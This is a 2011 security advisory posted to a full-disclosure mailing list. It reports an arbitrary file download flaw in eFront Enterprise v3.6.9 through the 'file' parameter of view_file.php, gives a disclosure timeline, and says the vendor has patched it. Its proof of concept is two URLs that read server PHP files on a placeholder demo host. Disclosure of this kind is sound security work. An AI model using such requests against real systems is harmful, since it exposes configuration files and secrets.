full-disclosure - eFront Enterprise v3.6.9 - Arbitrary Download Vulnerability

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Date: Sat, 08 Oct 2011 00:32:31 +0200
From: "research@...nerability-lab.com" <research@...nerability-lab.com>
To: full-disclosure@...ts.grok.org.uk
Cc: submissions@...ketstormsecurity.org
Subject: eFront Enterprise v3.6.9 - Arbitrary Download
	Vulnerability

Title:
======
eFront Enterprise v3.6.9 - Arbitrary Download Vulnerability

Date:
=====
2011-10-08

References:
===========
http://www.vulnerability-lab.com/get_content.php?id=290
http://www.vulnerability-lab.com/get_content.php?id=230

VL-ID:
=====
290

Introduction:
=============
Tailored with larger organizations in mind, eFront Enterprise offers solutions for the management of companies most 
valued asset - the people. Based on a coherent approach to human capital management which keeps the workforce actively 
engaged, the eFront Enterprise platform offers the means of aligning learning programs with business goals to cultivate 
employee skills and knowledge associated with business performance. eFront Enterprise builds on top of eFront Educational.

(Copy of the Vendor Homepage: http://efrontlearning.net/product/efront-enterprise.html)

Abstract:
=========
A Researcher of the Vulnerability Laboratory Team discovered a remote arbitrary download vulnerability on the eFronts Enterprise CMS v3.6.9.

Report-Timeline:
================
2011-09-28:	Vendor Notification
2011-09-29:	Vendor Response/Feedback
2011-10-06:	Vendor Fix/Patch
2011-10-08:	Public or Non-Public Disclosure

Status:
========
Published

Affected Products:
==================
eFront
Product: eLearning Enterprise Edition v3.6.9

Exploitation-Technique:
=======================
Remote

Severity:
=========
High

Details:
========
A remote arbitrary download vulnerability is detected on eFronts CMS v.3.6.9! The bug allows an remote attacker to read and even download files 
over the vulnerable param request. Successful exploitation of the bug can lead to read and download of important configuration files
by trainers & trainees.

Vulnerable Module(s):
			                         	[+] Administration, Trainee  & Trainer Section

Vulnerable File(s):
			                         	[+] view_file.php

Vulnerable Param(s):
			                         	[+] ?file=

Picture(s):
			                         	../1.png
			                         	../2.png

Proof of Concept:
=================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

PoC: 
http://demo.xxx.com/enterprise/www/view_file.php?file=/var/www/vhosts/demo/enterprise/www/administrator.php
http://demo.xxx.com/enterprise/www/view_file.php?file=/var/www/vhosts/demo/enterprise/www/view_file.php

Solution:
=========
2011-10-08 v3.6.10 build 11944  - http://www.efrontlearning.net/download

Risk:
=====
The security risk of the remote arbitrary download vulnerability is estimated as high.

Credits:
========
Vulnerability Research Laboratory - Chokri B.A (Meister) [http://www.vulnerability-lab.com/show.php?user=Chokri%20B.A.]

Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

    						Copyright © 2011|Vulnerability-Lab

-- 
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@...nerability-lab.com or support@...nerability-lab.com

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